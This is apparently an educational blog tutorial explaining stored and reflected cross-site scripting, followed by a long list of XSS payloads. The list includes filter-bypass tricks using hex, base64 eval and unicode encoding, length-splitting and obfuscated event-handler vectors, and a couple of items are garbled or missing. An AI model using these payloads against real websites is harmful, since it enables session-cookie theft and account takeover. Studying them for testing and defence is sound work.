OWASP Top 10 – What are Different Types of XSS ?

Cross Site Scripting (XSS) is the most popular web application vulnerability. It is a code injection attack that allows attackers to execute malicious JavaScript code in user’s browser. In this approach of attack, the attackers exploit the vulnerability in a website that the user visits, hence the website itself deliver the malicious JavaScript to the victim. Reflecting the content provided by the user in a web application gives a scope for the attackers to injecting code which leads to Cross Site Scripting.

Browsers basically display contents using HTML and JavaScript, so when attackers are able to include a pair of tags into a webpage, any JavaScript code executes if there is no proper validation implemented.

Example: Consider logging into your bank account and bank stores cookies and sessions ID in the user browser. If the attacker is able to execute malicious JavaScript code then he can dump the data such as Cookies and session id’s.

What are types of Cross-Site Scripting vulnerability ?

Cross-site Scripting can be classified into three major categories — Stored XSS, Reflected XSS, and DOM-based XSS.

Stored Cross-Site Scripting (Persistent XSS) Vulnerability

An attacker uses stored XSS to inject malicious content, into target application. Due to lack of proper validation this code is permanently stored by the target application, majorly in database. For example, an attacker may enter JavaScript based XSS payload in user input field which will be getting stored in the database .Hence every time the user views the infected page , the malicious JavaScript script is transmitted to the victim’s browser and can steal users session cookies.

Using session cookie, the attackers can gain access to the users account and can get easy access to the user’s personal information.

Reflected Cross-site scripting vulnerability

In a reflected XSS attack, the attacker’s payloads are majorly sent with the request itself. It is reflected in users browser with can response includes the payload given in the HTTP request. Reflected XSS is not persistent in nature hence attackers need to push the payload to every victim individually using any different ways such as social engineering. Attackers send link view emails or other delivery methods to send a payload to the user for gaining access to cookies or Session id’s.

Cross-site scripting (XSS) vulnerability Payloads Basics:

• An attacker can send a malicious payloads to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the payload can help to access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. JavaScript payloads are popular for attempting XSS attack.
• XSS can be executed using different tags, for below using JavaScript with <script> tags

"><script>alert(String.fromCharCode(88,83,83)) </script>

JavaScript can also be used with regular html tags with Event handlers inside page like “onmousemove” (Execute a JavaScript when moving the mouse pointer) or “onclick” (Execute a JavaScript when a button is clicked). With the context of XSS we can categorize the event handlers in two types, the one which require user interaction for execution and the other which don’t require any user interaction.

As for given below payload requires user interaction, you need to move your cursor over the text I AM HERE,  that displays on the screen and the JavaScript code gets execute with pop up of alert box.

Example: <a onmouseover=alert('HERE ITS XSS')>I AM
HERE </a>

                   <svg/onload=alert(1)>

Here, for the payload given below, as you can see, the img src tries to load an image called x, which is not present on web server hence the event gets triggered without any user interaction and alert XSS window will generate on page.

Example: <img src=x
onerror=alert(String.fromCharCode(88,83,83));>

Below are few latest XSS Payloads:

1. When we are  not able to use event handlers in payloads due to applied proper validations  we can use tags used in animations that is <animate>, here in below payload when we click on rectangle , it gets redirect  to the google.com

• Email addresses are majorly we find in forms of different web applications and it only allow us for classic email format. It’s just matter of [email protected] order format being used for email input. The solution for passing the validation mechanism and achieving XSS is just to follow valid format. Here it is :

• At certain places. We have limit for the characters length, at that place we can divide payload to bypass character limit ;

• JavaScript payloads can be encoded in various encoding formats to bypass basic validation.
• Hex Encoding :

Hex encoding can be applied in two formats :

• Format1 : \x[HEX]
• Format2:\u00[HEX]

Javascript:alert(‘XSS’) payload will be encoded as : \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)

1. Base64 Encoding :

 All the modern browsers have a global function called atob() to decode base64 strings and to execute a string as javascript , use eval(). And Convert alert(document.domain); in base64 encoding , here it’s a payload below :

"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

1. Unicode encoding: Unicode is a Encoding standard contains UTF-8,UTF-16 and UTF-32 encodings which can be used to bypass XSS filter.

Payload <script>alert (document.domain)</script> will be encoded as : \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

Some interesting payloads are listed here:

<a
href=javascript:alert(1)>click

<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z

<svg   onload=location=/javas/.source+cript:/.source+/ale/.source+/rt/.source+location.hash.substr(1)>#(1)

%fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E

<script
/***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script
/***/

<a
href="javascript:void(0)"
onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>

<style/onload=prompt('XSS')

</plaintext\></|\><plaintext/onmouseover=prompt(1)

<input
type="text" value=`` <div/onmouseover='alert(1)'>X</div>

<img src
?itworksonchrome?\/onerror = alert(1)

<? foo="><x
foo='?><script>alert(1)</script>'>">

P=<svg/1=’&q=’onload=alert(1)>

P=<svg
1=’&q=onload=’/*&r=*/alert(1)’>

<sCript
x>(((confirm)))``</script x>

\152\141\166\141\163\143\162\151\160\164\072alert(1)

<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z

The XSS payloads can be generated according to the situations of HTML elements used in the application. If you have any doubts on the XSS you can comment on the below comment section.